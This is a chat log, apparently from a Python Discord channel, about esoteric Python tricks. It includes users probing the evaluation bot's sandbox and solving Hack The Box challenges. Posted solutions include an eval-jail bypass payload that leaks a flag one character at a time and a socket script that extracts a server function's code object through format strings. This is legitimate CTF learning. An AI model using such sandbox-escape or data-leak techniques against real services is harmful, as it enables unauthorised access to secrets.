#esoteric-python
1 messages · Page 21 of 1
mhm
if you open stdin in write mode, you can write to it and get the output locally
but the output wouldnt be captured to the bot
yep
im sorry for arguing with you. i didnt mean to
!e
(a:=(v:=vars())[[*v][6]].__dict__, exec((lambda:'497320746869732073756666696369656e746c792065736f74657269633f').__code__.replace(co_code=bytes.fromhex(f"9700020065006501a002{'0'*40}6401a6010000ab01{'0'*16}a003{'0'*40}a6000000ab{'0'*18}a6010000ab01{'0'*16}5300"), co_names=(b:=(z:=[*a])[42],c:=z[57],d:=(e:=dir(a[c]))[42],e[38]))))
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
Is this sufficiently esoteric?
yeah, i like it
this uses multiple variables
a, v, b, z, c, d, e
doesn't use variable or things like print
presumably variables and builtins
well
you can just expand those variables if you want
by that logic, can't use bytes, vars, exec, or dir
either
since they're also variables
names in a namespace with a value
really, any identifier
can't be used
if you disallow variables
i think they mean no user-defined variables
I would say
that the best you're gonna get is
no variables (:= included)
no builtins
technically no literals is also possible
if you don't count a lambda literal
still need eval or exec to run the code object though, I think
just call the lambda with the overwritten code, no?
replace isn't in-place, it returns a new code object
Oops I had the wrong fd
it still works, though
just, it breaks stuff
afterwards
Python 3.10.7 (main, Sep 8 2022, 14:34:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> open(0, "w").write('hello world')
hello world11
>>>
user@snare:~$
it runs then exits
>>> open(0, "w").write('hello world')
hello world^C
>>> ^E
root@manjaro ~ $
it will hang waiting for input
on mine
it's weird
actually lemme check
im using 3.10 because i haven't had time to install 3.11 after reinstalling my os (some network drivers decided to uninstall themselves so i had to reinstall from usb)
maybe there's some platform dependent stuff
that might also be it
wait this is weird
look at repl
(nix based)
it dies
and that's also python 3.10.8
interesting
that's weird
try typing stuff in after it hangs waiting for input?
see if it still runs python
or if its just broken
it looks like it stops when I press enter
like
>>> open(0, "w").write('hello world')
hello worldh7190h4d78021g47gd8
>>> ^E
root@manjaro ~ $
as in an input() call
actually, i think i know why it exits
why?
It's also possible it's a difference between the session-based thing and normal code execution
Repl (NixOS)
Python 3.10.8 (main, Oct 11 2022, 11:35:05) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> open(0, "w").write('hello world')
hello world11
>>>
!e
__annotations__.setdefault(0, lambda: 0)
__annotations__[0].__code__ = (lambda:'hello').__code__.replace(co_code=b'\x97\x00t\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x01\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00',co_names=('print',))
__annotations__[0]()
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello
no builtins or variables
nice
>>> open(0, "r").read()
this also exits
The other weird thing
my guess would be
overwriting the stdin causes python to read EOF somewhere later, when it asks for the next line input
and
it exits when it does that
is that a similar thing happened when using libc calls
yet on !e it's different
!e ```py
from ctypes import POINTER, c_char, util
c=import('ctypes').CDLL(util.find_library('c'))
c.fdopen.restype=POINTER(c_char)
f=c.fdopen(0,'w')
b=c.fwrite('hello',8,6,f)
print(b)
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
6
it's really strange
instead of using fdopen and fwrite
what about using posix.* functions
from posix import *
...
idk how it would work
!e ```py
from posix import *
f=open(0,'w')
b=f.write('hello',8,6,f)
print(b)
@meager zinc :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | TypeError: open: path should be string, bytes or os.PathLike, not int
!e print(dir(__import__('posix')))
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
['CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_STOPPED', 'CLD_TRAPPED', 'DirEntry', 'EFD_CLOEXEC', 'EFD_NONBLOCK', 'EFD_SEMAPHORE', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'MFD_ALLOW_SEALING', 'MFD_CLOEXEC', 'MFD_HUGETLB', 'MFD_HUGE_16GB', 'MFD_HUGE_16MB', 'MFD_HUGE_1GB', 'MFD_HUGE_1MB', 'MFD_HUGE_256MB', 'MFD_HUGE_2GB', 'MFD_HUGE_2MB', 'MFD_HUGE_32MB', 'MFD_HUGE_512KB', 'MFD_HUGE_512MB', 'MFD_HUGE_64KB', 'MFD_HUGE_8MB', 'MFD_HUGE_MASK', 'MFD_HUGE_SHIFT', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_FSYNC', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYN
... (truncated - too long)
Full output: https://paste.pythondiscord.com/upoxociqes.txt?noredirect
>>> o = open(f"/proc/{getpid()}/fd/0", O_RDWR)
>>> o
3
>>> write(0, b"test")
test4
>>>
though, that doesn't overwrite 0
you'd use a dup2 call to do that
random question
do you know why opening stdin always returns 3?
because it's the same on windows too
because it's the lowest unused file descriptor
oh I see
0 is stdin
1 is stdout
2 is stderr
yep
if you open something else first, it'll be different
>>> o=open(f"/proc/{getpid()}/fd/0", O_RDWR)
>>> o
3
>>> o2=open(f"/proc/{getpid()}/fd/0", O_RDWR)
>>> o2
4
>>>
!e ```py
from posix import*
o = open(f"/proc/{getpid()}/fd/0", O_RDWR)
write(0, b"test")
@meager zinc :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | FileNotFoundError: [Errno 2] No such file or directory: '/proc/1/fd/0'
seems like snexbox causes issues
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | usr
002 | snekbox
003 | lib64
004 | lib
005 | etc
006 | local
007 | lib
008 | bin
009 | lib
010 | python3.11
011 | python3
... (truncated - too many lines)
Full output: too long to upload
Too long to upload?!
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
usr snekbox lib64 lib etc local lib bin lib python3.11 python3 python python3.11 libpython3.11.so pkgconfig libpython3.so libpython3.11.so.1.0 venv pickletools.py wave.py aifc.py __future__.py idlelib tomllib _strptime.py compileall.py __pycache__ dataclasses.py config-3.11-x86_64-linux-gnu LICENSE.txt json netrc.py genericpath.py datetime.py colorsys.py random.py sysconfig.py _compression.py rlcompleter.py importlib functools.py pdb.py plistlib.py keyword.py types.py _pydecimal.py lib-dynload getpass.py decimal.py sre_compile.py _py_abc.py timeit.py telnetlib.py lzma.py gzip.py site-packages contextlib.py _bootsubprocess.py collections zoneinfo os.py enum.py shutil.py asyncio locale.py encodings _sitebuiltins.py reprlib.py shelve.py linecache.py this.py gettext.py poplib.py bisect.py smtpd.py sndhdr.py codeop.py zipapp.py tkinter multiprocessing pipes.py tabnanny.py mailcap.py zipimport.py mailbox.py concurrent smtplib.py code.py shlex.py opcode.py fnmatch.py _osx_support.py webbrowse
... (truncated - too long)
Full output: too long to upload
:/
!e ```py
from pathlib import Path
for path in Path('/').rglob('*'):
if not path.is_file():
print(path.name, end=' ')
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
usr snekbox lib64 lib etc local lib bin lib python3.11 pkgconfig venv idlelib tomllib __pycache__ config-3.11-x86_64-linux-gnu json importlib lib-dynload site-packages collections zoneinfo asyncio encodings tkinter multiprocessing concurrent unittest turtledemo urllib ctypes logging xml http __phello__ ensurepip sqlite3 lib2to3 distutils html re email dbm wsgiref xmlrpc pydoc_data curses __pycache__ scripts common posix __pycache__ Icons __pycache__ __pycache__ __pycache__ resources metadata __pycache__ __pycache__ setuptools pkg_resources wheel pip _distutils_hack setuptools-65.5.1.dist-info pip-22.3.1.dist-info wheel-0.38.4.dist-info config _distutils _vendor extern command __pycache__ _validate_pyproject __pycache__ command __pycache__ __pycache__ pyparsing importlib_resources tomli more_itertools packaging jaraco importlib_metadata __pycache__ diagram __pycache__ __pycache__ __pycache__ text __pycache__ __pycache__ __pycache__ __pycache__ _vendor extern __pycache__ pyparsing import
... (truncated - too long)
Full output: too long to upload
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
usr snekbox lib64 lib etc local bin python3.11 pkgconfig venv idlelib tomllib __pycache__ config-3.11-x86_64-linux-gnu json importlib lib-dynload site-packages collections zoneinfo asyncio encodings tkinter multiprocessing concurrent unittest turtledemo urllib ctypes logging xml http __phello__ ensurepip sqlite3 lib2to3 distutils html re email dbm wsgiref xmlrpc pydoc_data curses scripts common posix Icons resources metadata setuptools pkg_resources wheel pip _distutils_hack setuptools-65.5.1.dist-info pip-22.3.1.dist-info wheel-0.38.4.dist-info config _distutils _vendor extern command _validate_pyproject pyparsing importlib_resources tomli more_itertools packaging jaraco importlib_metadata diagram text cli vendored _internal distro msgpack requests pep517 certifi tenacity urllib3 webencodings distlib rich chardet pygments cachecontrol resolvelib colorama idna platformdirs in_process util packages contrib backports _securetransport formatters styles lexers filters caches compat models
... (truncated - too long)
Full output: https://paste.pythondiscord.com/jeheqonaga.txt?noredirect
Let's go
import stat, os
from pathlib import Path
for path in Path('/').rglob('*'):
if stat.S_ISDIR(os.stat(f"/{path.name}").st_mode):
print(path.name, end=" ")
that should work
should filter to only directories
yes
very object oriented
looks to me like we still somehow have access to most of the system

hi
Hello 👋
!e ```py
from pathlib import Path
for path in Path('/').glob('*'):
if not path.is_file():
print(path.name, end=' ')
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
usr snekbox lib64 lib etc
that's everything in the root directory
so no proc and missing most of the typical linux directories
sad
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
['usr', 'snekbox', 'lib64', 'lib', 'etc']
@mossy plume i think these two are the same, but you could get a lot worse:
x = re.compile(r"\b((lo|wu)ve?(s|lie|lies)?|heart)\b")
y = re.compile(r"\b(((l)o|wu)v(e)?((s)|(\3i\4)|\7\6)?|h\4art)\b")
but you could get a lot worse:
get to work then
you can't have backreferences to non-capturing groups 😭
i'm not actually sure it can get worse, doggo. I was gonna do
(?:q)(?:w)(?:e)(?:r)(?:t)(?:y)(?:u)(?:i)(?:o)(?:p)(?:a)(?:s)(?:d)(?:f)(?:g)(?:h)(?:j)(?:k)(?:l)(?:z)(?:x)(?:c)(?:v)(?:b)(?:n)(?:m)((\g<19>\9|\2\7)\g<23>\3?(\g<12>|(\g<19>\8\3)|\g<27>\g<12>)?|\g<16>\3\g<11>\4\5)
``` with the capturing section as
```py
((\g<19>\9|\2\7)\g<23>\3?(\g<12>|(\g<19>\8\3)|\g<27>\g<12>)?|\g<16>\3\g<11>\4\5)
``` but that's not possible as it turns out

what's the problem here?
attempts at esoteric-regex
i'm a clown, this wouldn't work even if it would work. non-capturing groups still match
too bad non-matching groups don't exist

they certainly complicate things, but i can't see how they could help, especially as you can't attach ? to them
!e
print(__import__('re').match(r'a(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)a', 'aa'))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
<re.Match object; span=(0, 2), match='aa'>
what do we mean by esoteric regexes here?
same as esoteric python. taking normal regex and making them even less readable
ah I see
numbered backreferences are very good for that purpose but they require stuff to appear more than once. if your text has no repeated letters, they can't be used. although named backreferences can, and they complicate things as well
give your references names that look like normal regex stuff
just add a bunch of unused inline localized modifiers
to every group
enable the x flag so you can add comments (that have regex code) and also have to escape spaces
always add start of string and end of string
use an or statement with the same code on both sides but it looks different
because you used a named reference
yall are devious
!e
import re
print(re.match(r'((?!a)a)?(?P<a>a)(?>(?a:(?<=aa)a)(?!a)(?=a)a)*(?=(?#aaa)a)(?(1)|a)', 'aa'))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
<re.Match object; span=(0, 2), match='aa'>
that should be the same regex as just aa
lol nice
!e ```py
import re
print(re.match(r'((?!аа?(?P<a>а(?>(?a:(?<=aаа(?!а(?=аа*(?=(?#aaаа(?(1)|а'.replace('а', 'a)'),'aa'))
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
<re.Match object; span=(0, 2), match='aa'>
!e ```py
import re
print(re.match(r'aa𝚊!аа𝚊a𝚊P<a>аa𝚊>a𝚊a:a𝚊<=aааa𝚊!аa𝚊=аа*a𝚊=a𝚊#aaааa𝚊a1)|а'.replace('a','(').replace('𝚊','?').replace('а', 'a)'),'aa'))
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
<re.Match object; span=(0, 2), match='aa'>
ok im done
!e
import re
print(re.match(''.join(map(dict(zip('àáâäæãåāaаǻḁɑą̃ⱥ',']#:a[P*|<^)!>?1=(')).get,'ąḁäǻäǻąąãaäɑäǻąɑąäâąaⱥääǻäǻąⱥæаäàǻąⱥäǻäǻåąⱥąáäääǻäǻą̃ǻāäǻ')),'aa'))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
<re.Match object; span=(0, 2), match='aa'>
!e py print(2**100 is 2**100) print(1267650600228229401496703205376 is 1267650600228229401496703205376)
@coarse void :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <string>:2: SyntaxWarning: "is" with a literal. Did you mean "=="?
002 | False
003 | True
How?
probably just that 2*100 isn't optimized by the compiler and so it'll evaluate the expression at runtime
and so you aren't guaranteed the same objects
the 1267650600228229401496703205376 is stored in the module-level co_consts during the limited optimisation that python does at compile-time; but the expression 2**100 is evaluated at runtime and doesn't generate the same address
x**y, to be safely constant folded, has to have len(bin(x)) - 2 <= 128 / y
if x is 2 and y is 100 then len(bin(x)) - 2 is 2 but 128 / y is 1.28
2 <= 1.28 is obviously False so no constant folding here that can allow for is comparisons
!e print(55**55)
@winter cave :white_check_mark: Your 3.11 eval job has completed with return code 0.
524744532468751923546122657597368049278513737089035272057324643668607677682302892208099365234375
!e print(555555)
@zenith geode :white_check_mark: Your 3.11 eval job has completed with return code 0.
166375
!e print(55**55**55)
@zenith geode :warning: Your 3.11 eval job timed out or ran out of memory.
[No output]
This is pretty simple, but I thought it was pretty neat.
I imagine this would be part of a larger technique.
I used it to surgically add gzip-support to .ipynb
#!/bin/zsh
find_python_target() {
script=$(env target="$1" envsubst <<< $'
#!/usr/bin/env python3
${target}
from inspect import getfile
print(getfile(target))
' | sed -r 's/^[ ]{8}//')
typeset -a bwrap_flags=(
--ro-bind / /
--tmpfs /tmp
--ro-bind-data '<(<<< "$script" )(:t)' /tmp/script.py
)
bwrap_cmd="bwrap ${(@)bwrap_flags} /usr/bin/env python /tmp/script.py"
eval "$bwrap_cmd"
}
typeset -A replace_targets=(
fileio_js fileio.py
fileio_nb fileio.py
)
typeset -A replace_imports=(
fileio_js 'from jupyter_server.services.contents import fileio as target'
fileio_nb 'from notebook.services.contents import fileio as target'
)
typeset -A replace_files=()
for tgt imp in "${(@kv)replace_imports}"; do
loc="$(find_python_target "$imp" )"
replace_files[$loc]="${replace_targets[$tgt]}"
done
typeset -a replace_dirs=()
for fil in "${(@k)replace_files}"; do
replace_dirs+=( "$(dirname "$fil" )" )
done
replace_dirs=( "${(@u)replace_dirs}" )
typeset -a bwrap_flags=(
--die-with-parent
--ro-bind / /
--tmpfs /tmp
--bind home ~
--chdir ~
--dev-bind /dev /dev
--proc /proc
)
for d in "${(@)replace_dirs}"; do
bwrap_flags+=( --tmpfs "$d" )
for f ( "$d"/* ) if (( ${${(k)replace_files}[(Ie)$f]} )); then
bwrap_flags+=( --ro-bind "${replace_files[$f]}" "$f" )
elif [[ "$(basename "$f")" == __pycache__ ]]; then
else
bwrap_flags+=( --ro-bind "$f" "$f" )
fi
done
bwrap_cmd="bwrap ${(@)bwrap_flags} $@"
eval exec $bwrap_cmd
The ease of constructing something like this—the script too me ~30 min to write—strongly suggests to me that bwrap (https://github.com/containers/bubblewrap) is a more fundamental tool than we expect and that this functionality should probably be available directly from the shell.
what
what is this doing in #esoteric-python
Well, basically, if you want to (monkey-)patch a module, there are a variety of ways to do this if you control the entry point, right?
But there are practical limitations to this when we talk not about Python libraries but about Python applications.
I imagine that, if you needed to do a very surgical patching of a production system, perhaps for validation of a surgical hot-fix, you may actually need to have a very light hand. You may need to intercept prior to the start of the interpreter.
So this gives you a technique for these kinds of changes, which would likely be combined with traditional approaches.
After all, you can only monkey-patch the interpreter that you launch, but you have no reach into the interpreter subprocesses that that launches.
prior to the start of the interpreter
so, editing the source code?
Yes, but without actually touching the host filesystem. Also, this swaps out files in /usr but runs without root permissions. Leave no trace, right, like a boy scout.
this is only for linux right
Yes, it relies on namespace support. Apparently you can mimic similar in NTFS through something called reparse points, but I don't know how those work.
in what case would this be practical?
i dont see any situation where things cant be accomplished in easier ways
A discussion of practicality apropos in #esoteric-python but cool hacks involving Linux namespaces & shell scripting not. Huh.
I suspect that, like many tricks of this nature, the proper approach is some constellation of techniques.
im not trying to insult or put down the idea- im genuinely curious what you're using this for
though we should probably move to an off-topic channel
since this isn't esoteric python
I'm just being facetious.
This particular hack was to enable a quick demo of something that uses bwrap for other purposes together with Jupyter Notebooks.
!ot
Off-topic channel: #ot2-never-nester’s-nightmare
Please read our off-topic etiquette before participating in conversations.
lets go there
I spent a lot of time years back figuring out how to monkey-patch Python programmes to circumvent code signing techniques, as part of some work I was doing to create secured Python interpreters that could only run signed code.
The typical techniques—all the many ways to mutate tuple—are themselves not very useful or interesting (after all, why even bother?) but come together in interesting ways to guide how you might lock down an interpreter in a secure environment.
(I doubt we were the first to discover, but I think we were the first to publish the numpy.lib.stride_tricks.as_strided and the “spray the heap with generators” poisoned bytecode approach.)
https://app.hackthebox.com/challenges/429 completed this htb challenge today, I think yall would find it fun. Its a limited eval where the goal is to exfiltrate the value of a variable
@quartz wave take a look ^
#!/usr/bin/env python3
import re
with open("./flag.txt") as f:
FLAG = f.read().strip()
BLACKLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r\x0b\x0c'
OPEN_LIST = '('
CLOSE_LIST = ')'
def check_balanced(s):
stack = []
for i in s:
if i in OPEN_LIST:
stack.append(i)
elif i in CLOSE_LIST:
pos = CLOSE_LIST.index(i)
if ((len(stack) > 0) and
(OPEN_LIST[pos] == stack[len(stack)-1])):
stack.pop()
else:
return stack
return stack
def check(s):
if re.match(r"[a-zA-Z]{4}", inp):
print("You return home.")
elif len(set(re.findall(r"[\W]", inp))) > 4:
print(set(re.findall(r"[\W]", inp)))
print("A single man cannot bear the weight of all those special characters. You return home.")
else:
return all(ord(x) < 0x7f for x in s) and all(x not in s for x in BLACKLIST) and check_balanced(s)
def safe_eval(s, func):
if not check(s):
print("\U0001F6B6" + "\U0001F6B6" + "\U0001F6B6")
else:
try:
print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG}))
except:
print("Error")
if __name__ == "__main__":
while True:
inp = input("Input : ")
safe_eval(inp, type)
``` you interact with this program over the network
you are trying to get the value of FLAG
ah
I spent a few hours on it, had to think outside the box to solve it
Im also pretty sure I solved it "wrong" but it worked
if anyone takes a shot at it, feel free to ping me if you want pointers
@dry mirage ^ you also might think this is cool
what does this mean 
i read that as type(type)
since type of type is type
though i could be misunderstanding
youre on the right track, theres lots of wrapping things in type
how am I supposed to connect and send commands to the container 
netcat my beloved
you giving it a try?
maybe
it said i have to make an account to do the thingy and i cant do that until i get home because it's refusing to work on my phone for some reason
¯_(ツ)_/¯
fair enough
!py
from fishhook import hook
email = "email"
address = "gmail.com"
@hook(str)
def __matmul__(self, other):
return self + "@" + other
print(email@address)```
!e
from fishhook import hook
email = "email"
address = "gmail.com"
@hook(str)
def __matmul__(self, other):
return self + "@" + other
print(email@address)```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
email@gmail.com
lmfao
!e ```py
import sys
sentinel = object()
class Site:
def init(self, name, orig):
self.name = name
self.orig = orig
def getattr(self, _):
del globals()[self.name]
if self.orig is not sentinel:
globals()[self.name] = self.orig
class EmailMeta(type):
def getattr(cls, usr):
frame = sys.getframe(1)
f_code = frame.f_code
instr = frame.f_lasti + 2
site, ext, * = map(
f_code.co_names.getitem,
f_code.co_code[instr+1:instr+4:2]
)
orig = globals().get(site, sentinel)
globals()[site] = Site(site, orig)
return cls(usr, site, ext)
class email(metaclass=EmailMeta):
def init(self, usr, site, ext):
self.usr, self.site, self.ext = usr, site, ext
def __matmul__(self, _):
return self
def __repr__(self):
return f'{self.usr}@{self.site}.{self.ext}'
print(email.example@example.com)```
@rugged sparrow :white_check_mark: Your 3.10 eval job has completed with return code 0.
example@example.com
it works in 3.10 (old code)
currently have
(type(type.mro(type))(flag))
not sure what else to do 😔
do I need to mutate inp in some way
I though about creating a type so type would print the class name but I can't use commas for 3 arg type()
!e
from __future__ import annotations
from collections import namedtuple
from ast import parse
class Email(namedtuple('Email', 'user domain tld')):
@classmethod
def from_annotation(cls, annot):
x = parse(annot).body[0].value
return cls(x.left.id, x.right.value.id, x.right.attr)
def __str__(self): # not __repr__!
return f'{self.user}@{self.domain}.{self.tld}'
email:example@example.com
x = Email.from_annotation(__annotations__['email'])
print(f'{x = !s}')
@grand urchin :white_check_mark: Your 3.11 eval job has completed with return code 0.
x = example@example.com
how does it work?
you can send input to the remote server using nc or with socket
and the server is running the code you download on the site
the goal is to get the value of the flag
i don't know how any of that works
!e in 3.11 you just have to account for the number CACHEs ```py
import sys
import opcode
sentinel = object()
class Site:
def init(self, name, orig):
self.name = name
self.orig = orig
def getattr(self, _):
del globals()[self.name]
if self.orig is not sentinel:
globals()[self.name] = self.orig
class EmailMeta(type):
def getattr(cls, usr):
frame = sys._getframe(1)
f_code = frame.f_code
instr = frame.f_lasti
instr += opcode.inline_cache_entries[f_code.co_code[instr]] * 2 + 2
site, ext, * = map(
f_code.co_names.getitem,
f_code.co_code[instr+1:instr+4:2]
)
orig = globals().get(site, sentinel)
globals()[site] = Site(site, orig)
return cls(usr, site, ext)
class email(metaclass=EmailMeta):
def init(self, usr, site, ext):
self.usr, self.site, self.ext = usr, site, ext
def matmul(self, _):
return self
def repr(self):
return f'{self.usr}@{self.site}.{self.ext}'
print(email.example@example.com)
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
example@example.com
import socket
HTB_Host = '<ip>'
HTB_Port = <port>
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HTB_Host, HTB_Port))
while True:
print(s.recv(1024).decode(), end='')
s.sendall(input().encode() + b'\n')
``` @quartz wave this works as a repl for the remote server
ok
Is it "safer" to use AST over bytecode maintainability wise
at that point your input is sent to the remote program as regular input
I know with syntax changes the AST will change but I know people @ python are very hesitant to change the syntax in a breaking way
what do i put in the port
nvm i figured it out
do you want a hint?
hint pls 
what are these box characters
it prints some emojis, they are not important
Hint: || think about it like you're asking yes or no questions, you may have to ask multiple times to get the whole answer ||
I briefly thought about that but figured there would be some way to get it all in one go
hm
i was not able to find any obvious way to get it all in one go
so i figured out how to pass the check() function but not how to actually solve the thing
The standard library includes tools for working with the AST and bytecode, but only the AST tools specifically and directly support manipulation or transformation.
Syntax and AST changes aren't that common in practice. The bytecode changes just as much as the syntax, but without the same level of community coördination.
thats the first step, next is figuring out a way to get the flag out
once you get a solution, i want to see how small we can get the payload
e.g., does https://github.com/llllllllll/codetransformer still work?
oh wow i can use tuples
If I recall correctly, that project was actually used in production, and there was a specific set of transformations they wanted to do that they had to (or preferred to) do at the bytecode level rather than at the AST level.
so i have these characters available ```
!#$()+.0123456789?ABCDEFGHIJKLMNOPQRSTUVWXYZ^abcdefghijklmnopqrstuvwxyz
i didn't think that single quotes were available
they aren't
i forgot to exclude the start of the string from the REPL output
fixed
so i can do addition and bitwise xor
yea
and your output is always type(<your input code>)
or Error if there is an exception
there's only like 3 names available in the namespace but none of them are allowed to be referenced by check()
i would double check that assumption
i can do attribute access but that's not useful atm since all the attributes from the objects i have are like 4+ characters long
there's more?
nvm found one that's good
you have the right number of names, but you can access 2 of them
!e py import re print(re.match(r"[a-zA-Z]{4}", 'I would play around with this to see what slips past'))
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
None
ok i managed to access str
nice
but idk what to do now
how did you access str
1..hex()
not actually the types themselves but their objects
You should double check your assumption about accessing those names in the namespace
ok i see
it's .match() not .search()
Yup
ok i found out how to access the 2 names
Nice
The rest is just thinking creatively on how to get the flag
@dry mirage did the hint help?
i got the first character by bruteforcing
actually the last character
You're on the right track
|| you can bruteforce faster by using s.sendall and s.recv ||
what was your bruteforce payload?
wdym
like what did your input look like
||(type(type.mro(type))(flag.encode()).pop()is(125)and(1))||
oh that is way better than my strategy
well the problem is i don't know how to get the rest
.pop() takes an index
|| i would write a script to automate it ||
ok it seems like my flag is length 35
yea that sounds right
im annoyed that I didn't think to use is
ty
i'm getting it
so first 3 characters are HTB correct?
yea
one by one it's going
yea its slow going to bruteforce but im pretty sure thats the only way to get it
halfway there
what set of potential characters are you using?
i minimized it to range(20,128)
before i was using range(128)
|| for future reference, I am pretty sure most HTB flags have this charset chars = '${}@!_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ||
so far that's correct
but i don't see any lowercase characters
yea thats my set that I use for all of the HTB stuff
i got it
|| this flag actually doesnt have any lowercase ||
Nice, it was a fun challenge right?
yep
@versed eagle did you end up trying to solve the challenge?
I'm still not home yet but I will 👍
@quartz wave || when I solved it earlier, I didn't think about using type.mro to get a list, so i did it with str.index and used the error as my other possible value ```py
f"(type(flag)(9)+type(flag)().join(type(flag)(l).zfill(3)for(l)in(flag).encode())).index(type(flag)(9{''.join(str(ord(s)).zfill(3) for s in test_flag)}))or()"
tbf i only got that idea of using ||type.mro()|| from ionite
fair enough
my original payload was bulky because I was using strings like that tho
this is kinda fun
you should check out more of the stuff on HTB its a cool platform
the Web section of Challenges has some other cool ones
lmk if you try anything else there and Ill give it a shot too
@quartz wave im trying this one rn https://app.hackthebox.com/challenges/254
^ that one was tricky but super satisfying to solve
what am i supposed to do there
you can use the same socket script to interact with the server
your looking for a flag again, but this one is from an entirely different angle
Hint: || look into format strings and how they work ||
ok ty
am i supposed to use {debug}
another hint so you don't get stuck in the rabbit hole i did: || you cannot get full rce with format strings, just data leak||
no its a red herring
i just found out how "expressions" work in format strings and it's so cursed
Yea it's a weird feature, it's basically implemented as a mini embedded language
where's SecureDatabase() from?
ok
mine had |, %, `, ~ on top of those 👀
did you solve it?
cause there is another one that uses python that @quartz wave is doing rn
nvm
was wrong
forgot to call socket.recv initially
and it threw everything off an ord I guess
oh yea that will put everything off by one
new one starts with HTB{ so I guess it looks correct
yea thats what it should start with
did you like use .__code__ in any way
which function?
could have probably optimized that to inquire whether the string is alpha / lower / digit first, but just going through string.printable didn't take that long either
the ones in the database
more specifically ||.get_credentials()||
|| yea i did use __code__ ||
oh yea its ugly
i managed to get the return value of the function but it's not working
what is the value? spoiler it
||HTB{iss4nts_ch0c0_hmmmm}||
i think you are missing some characters
|| did you dump the code object and then exec it? ||
||if you mean "dump" as in "print out necessary information then put the code object back together" then yes||
|| did you make sure you are running the same version of python ||
|| you are missing 3 characters after HTB{ ||
||i did the reassembly in python 3.9 godbolt because i didn't have it||
||I would verify that is the correct version ||
ok so what i actually did was ||reconstruct the code based on my disassembly skills|| and not ||directly call it||
turns out i forgot a crucial add operation
yep
solution || I opted to just pull the object out and reconstruct it and exec it ```py
import socket
from types import CodeType
HTB_Host = '<addr>'
HTB_Port = <port>
path = 'whoami.globals[server].bridge.db.get_credentials.code'
commands = []
for attr in dir(CodeType):
commands.append((attr, f'{{{path}.{attr}}}'))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HTB_Host, HTB_Port))
s.recv(1024) # clear buffer
responses = []
attrs = []
for attr, command in commands:
attrs.append(attr)
s.sendall(command.encode() + b'\n')
responses.append(s.recv(1024).decode().splitlines()[0])
responses.pop(0)
responses.append(s.recv(1024).decode().splitlines()[0])
s.close()
import ast
extracted_obj = {}
for attr, val in zip(attrs, responses):
if attr.startswith('co_'):
try:
extracted_obj[attr] = ast.literal_eval(val)
except:
extracted_obj[attr] = val
f = lambda:0
f.code = f.code.replace(**extracted_obj)
print('Flag:', f(None))
would be extra interesting if they patched the get_version command to return the wrong python version 🥴
Oh yea that would be funky
the elites don't want you to know this, but in python you can reassign integers
this is a dark art. the esoterica is strong.
wait i didn't think of that
!e just use einspect it's much easier ```py
from einspect import view
a = 7
b = 7
view(7).value = 13
print(7, a, b)
for i in range(10):
print(i)
print(6 + 1, 7 + 1, (7 + 1) - 1, 7 * 2, 15 ^ 8)
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 13 13 13
002 | 0
003 | 1
004 | 2
005 | 3
006 | 4
007 | 5
008 | 6
009 | 13
010 | 8
011 | 9
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/obemafuluq.txt?noredirect
is it possible to use einspect to shift every integer over by 1?
not just specific integers, every integer
so 1+1 would become 5
9-8 would be 2
2*2 is 10
etc
I guess? yeah
it would break some of the internal logic though if all small ints change like that
!e
from einspect import view
for i in range(25, 75):
view(i).value += 1
print(30, 40, 50)
print(30 + 30)
